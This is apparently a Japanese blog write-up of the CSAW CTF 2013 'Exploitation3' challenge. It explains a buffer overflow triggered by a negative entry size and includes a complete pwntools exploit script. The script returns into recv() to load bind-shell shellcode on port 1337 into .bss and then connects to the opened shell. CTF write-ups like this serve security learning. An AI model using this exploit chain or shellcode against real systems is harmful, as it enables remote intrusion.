読者です 読者をやめる 読者になる 読者になる

1日ひとつだけ強くなる

おべんきょうのーと

CSAW CTF Qualification Round 2013: Exploitation3

CTF writeup security

はじめに

やるだけ問題だった気がする。 数週間前に解析だけしてた。ある程度読めると後は比較的楽だったと思う。

Exploitation2を解いた直後だったので、そんなに詰まることなく行けた。

IDAでちょっとずつ解析すすめていくのは楽しかったけど、もうちょっとスピード早くしていきたいなと思った。

事前調査

$ file ./fil_chal
./fil_chal: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e6e7d1f8a7d1b6fea2e862816b795ac1410fa3af, stripped

$ checksec ./fil_chal
[*] '/home/ubuntu/writeup/bata/baby/Exploitation3/fil_chal'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

解析すると、前回のExploitaion2のようにfork-server型なのがわかる。NX bitも立ってないみたいだし、BOFしてシェルコード流し込めたらいいなぁとか思ってた。

接続してみる。

$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
        Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 12
AAAABBBBCCCCDDDD
Til next time

接続すると、最初にusernameとpasswordを聞かれる。 これはidaで解析してたらそのままusernameとpasswordが書いてあった。

Entry_infoが負数を入れると大量の入力を入れることができる。今回はこれを利用する。

NXbitも立っていないので、単純にシェルコードを送ってやれば良い。

バッファのアドレスがわからないので、recv関数を呼び出して、.bssセクションの先頭にshellcodeを入れて、リターンアドレスを.bssセクションの先頭に挿入してやれば良い。

exploit

from pwn import *
import time


r = remote('127.0.0.1', 34266)

user = 'csaw2013'
passwd = 'S1mplePWD'

entry_i = '-1'

buffer_size = 1056
buf_addr = 0xffbbe8dc
recv_addr = 0x8048890
bss_addr = 0x804b008

# http://shell-storm.org/shellcode/files/shellcode-882.php
# Shell Bind TCP Shellcode Port 1337 - 89 bytes
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

print r.recvuntil('UserName: ')
r.sendline(user)

print r.recvuntil('Password: ')
r.sendline(passwd)

time.sleep(1)

print r.recvuntil('Entry Info: ')
r.sendline(entry_i)


buf = '\x90'*buffer_size
# recv(4, bss_addr, sizeof(shellcode), 0)
buf += p32(recv_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)


# buf = shellcode + '\x90'*(buffer_size - len(shellcode)) + p32(buf_addr)

r.sendline(buf)
# r.interactive()

time.sleep(1)

r.sendline(shellcode)

p = remote('127.0.0.1', 1337)
p.interactive()